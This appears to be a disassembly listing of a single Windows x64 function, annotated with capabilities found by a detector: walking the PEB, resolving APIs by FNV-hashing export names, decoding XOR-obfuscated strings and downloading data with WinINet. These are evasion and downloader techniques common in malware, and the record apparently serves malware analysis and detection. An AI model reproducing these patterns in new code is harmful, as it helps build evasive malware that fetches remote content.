Function at 0x140003da0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Read data from internet
Receive data
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x11d0
call fcn.140039310
sub rsp, rax
mov rax, qword [0x14007e090]
xor rax, rsp
mov qword [rsp + 0x11c8], rax
mov r12, rcx
xor r13d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140004738
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140004738
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000472f
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003e50
cmp r8d, 0xe23b96e7
jne 0x14000472f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
movabs rax, 0x9543eb88de3fda57
mov qword [rsp + 0x1a0], rax
movabs rax, 0x18d622c5261d2a88
mov qword [rsp + 0x1a8], rax
movabs rax, 0xf4279bddb14baf16
mov qword [rsp + 0xa0], rax
movabs rax, 0x18d622c5266f4ffc
mov qword [rsp + 0xa8], rax
movdqa xmm0, xmmword [rsp + 0xa0]
pxor xmm0, xmmword [rsp + 0x1a0]
movdqa xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov esi, 1
mov edx, esi
lea rcx, [rsp + 0xa0]
call r10
mov r15, rax
test rax, rax
je 0x1400040b9
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov ebx, dword [rdx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140004727
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140004727
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rax, [rdi + r10*4]
mov edx, dword [rax + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000471e
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140003f90
cmp r8d, 0xf4cf8bbc
jne 0x14000471e
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
lea rdx, [0x140081860]
cmp qword [0x140081878], 0x10
cmovae rdx, qword [0x140081860]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, r15
call r10
mov r14, rax
test rax, rax
jne 0x1400040e8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140004096
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140004096
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov ecx, dword [rcx + r9]
add rcx, r9
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140004091
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140004070
cmp r8d, 0x4ddde966
je 0x14000409b
test r10d, r10d
jne 0x140004050
mov rax, qword [rax]
jmp 0x140004020
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r10*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
mov rcx, r15
call rax
xor al, al
mov rcx, qword [rsp + 0x11c8]
xor rcx, rsp
call fcn.140038af0
lea r11, [rsp + 0x11d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xorps xmm0, xmm0
movups xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x128], r13
mov qword [rsp + 0x130], 0xf
mov byte [rsp + 0x118], r13b
lea r9, [rsp + 0x100]
mov r8d, 0x1000
lea rdx, [rsp + 0x1c0]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400041f3
nop word [rax + rax]
mov eax, dword [rsp + 0x100]
test eax, eax
je 0x1400041f3
mov edi, eax
mov rcx, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x130]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400041a9
lea rax, [rcx + rdi]
mov qword [rsp + 0x128], rax
lea rbx, [rsp + 0x118]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x118]
add rbx, rcx
mov r8d, edi
lea rdx, [rsp + 0x1c0]
mov rcx, rbx
call fcn.14003a990
mov byte [rbx + rdi], 0
jmp 0x1400041cc
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x1c0]
movzx r8d, byte [rsp + 0x30]
mov rdx, rdi
lea rcx, [rsp + 0x118]
call fcn.14000e440
lea r9, [rsp + 0x100]
mov r8d, 0x1000
lea rdx, [rsp + 0x1c0]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140004140
xor edx, edx
lea rcx, [rsp + 0x108]
call fcn.14000c660
nop
mov qword [rsp + 0xf8], r13
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x40]
call fcn.14000dc70
movzx edx, byte [rsp + 0x108]
movzx edi, byte [rax]
mov byte [rsp + 0x108], dil
mov byte [rax], dl
lea rcx, [rax + 8]
mov rax, qword [rsp + 0x110]
mov rbx, qword [rcx]
mov qword [rsp + 0x110], rbx
mov qword [rcx], rax
call fcn.14000c0e0
nop
cmp edi, 9
ja case.0x140004274.3
lea rdx, [0x140000000]
mov ecx, dword [rdx + rdi*4 + 0x4748]
add rcx, rdx
jmp rcx
mov rax, qword [rbx + 8]
cmp qword [rbx], rax
jmp 0x140004284
cmp qword [rbx + 8], 0
sete al
test al, al
je case.0x140004274.3
movzx edx, dil
lea rcx, [rsp + 0x110]
call fcn.14000c0e0
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x1400040b9
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004740
call fcn.140038b10
jmp 0x1400040b9
cmp dil, 2
jne 0x140004531
mov rdi, qword [rbx + 8]
mov rdx, qword [rbx]
mov rcx, rdi
sub rcx, rdx
sar rcx, 4
test rcx, rcx
jne 0x140004349
mov rax, qword [rbx + 0x10]
sub rax, rdx
sar rax, 4
cmp rax, 1
jae 0x140004324
mov rcx, rbx
call fcn.140015060
jmp 0x140004349
sub rsi, rcx
je 0x140004345
nop dword [rax]
xor edx, edx
mov rcx, rdi
call fcn.14000c660
nop
add rdi, 0x10
sub rsi, 1
jne 0x140004330
mov qword [rbx + 8], rdi
mov rdx, qword [rbx]
lea rcx, [rsp + 0x148]
call fcn.14000a360
nop
movabs rax, 0x9543eb88de3fda57
mov qword [rsp + 0x1b0], rax
movabs rsi, 0x18d622c5261d2a88
mov qword [rsp + 0x1b8], rsi
movabs rax, 0x95439fe1b352b534
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
movdqa xmm0, xmmword [rsp + 0x80]
pxor xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
lea rax, [rsp + 0x80]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400043e0
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.14000e5d0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x148]
call fcn.140010510
mov rdi, rax
movabs rax, 0x9543eb88de3fda57
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], rsi
movabs rax, 0x954399e7b64baf36
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rsi
movdqa xmm0, xmmword [rsp + 0x90]
pxor xmm0, xmmword [rsp + 0x160]
movdqa xmmword [rsp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r13
mov qword [rsp + 0x178], r13
lea rax, [rsp + 0x90]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140004483
mov r8, rbx
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x160]
call fcn.14000e5d0
lea rdx, [rsp + 0x160]
mov rcx, rdi
call fcn.140010510
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.14000a360
nop
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0xb0]
call fcn.14000a360
movzx edx, byte [r12]
movzx ecx, byte [rax]
mov byte [r12], cl
mov byte [rax], dl
lea rcx, [rax + 8]
mov rdx, qword [r12 + 8]
mov r8, qword [rcx]
mov qword [r12 + 8], r8
mov qword [rcx], rdx
movzx edx, byte [rax]
call fcn.14000c0e0
nop
movzx edx, byte [rsp + 0x138]
lea rcx, [rsp + 0x140]
call fcn.14000c0e0
nop
movzx edx, byte [rsp + 0x148]
lea rcx, [rsp + 0x150]
call fcn.14000c0e0
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400045c6
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x1400045c6
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400045c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400045a0
cmp r8d, 0x4ddde966
je 0x1400045cb
test r10d, r10d
jne 0x140004580
mov rax, qword [rax]
jmp 0x140004550
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov rcx, r14
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140004676
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140004676
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004671
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004650
cmp r8d, 0x4ddde966
je 0x14000467b
test r10d, r10d
jne 0x140004630
mov rax, qword [rax]
jmp 0x140004600
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov rcx, r15
call rdx
nop
movzx edx, byte [rsp + 0x108]
lea rcx, [rsp + 0x110]
call fcn.14000c0e0
nop
mov rdx, qword [rsp + 0x130]
cmp rdx, 0x10
jb 0x1400046ef
inc rdx
mov rcx, qword [rsp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004740
call fcn.140038b10
mov al, 1
jmp 0x1400040bb
test r10d, r10d
jne 0x140003f60
mov rcx, qword [rcx]
jmp 0x140003f30
test r10d, r10d
jne 0x140003e20
mov rax, qword [rax]
jmp 0x140003df0
call fcn.140047290
int3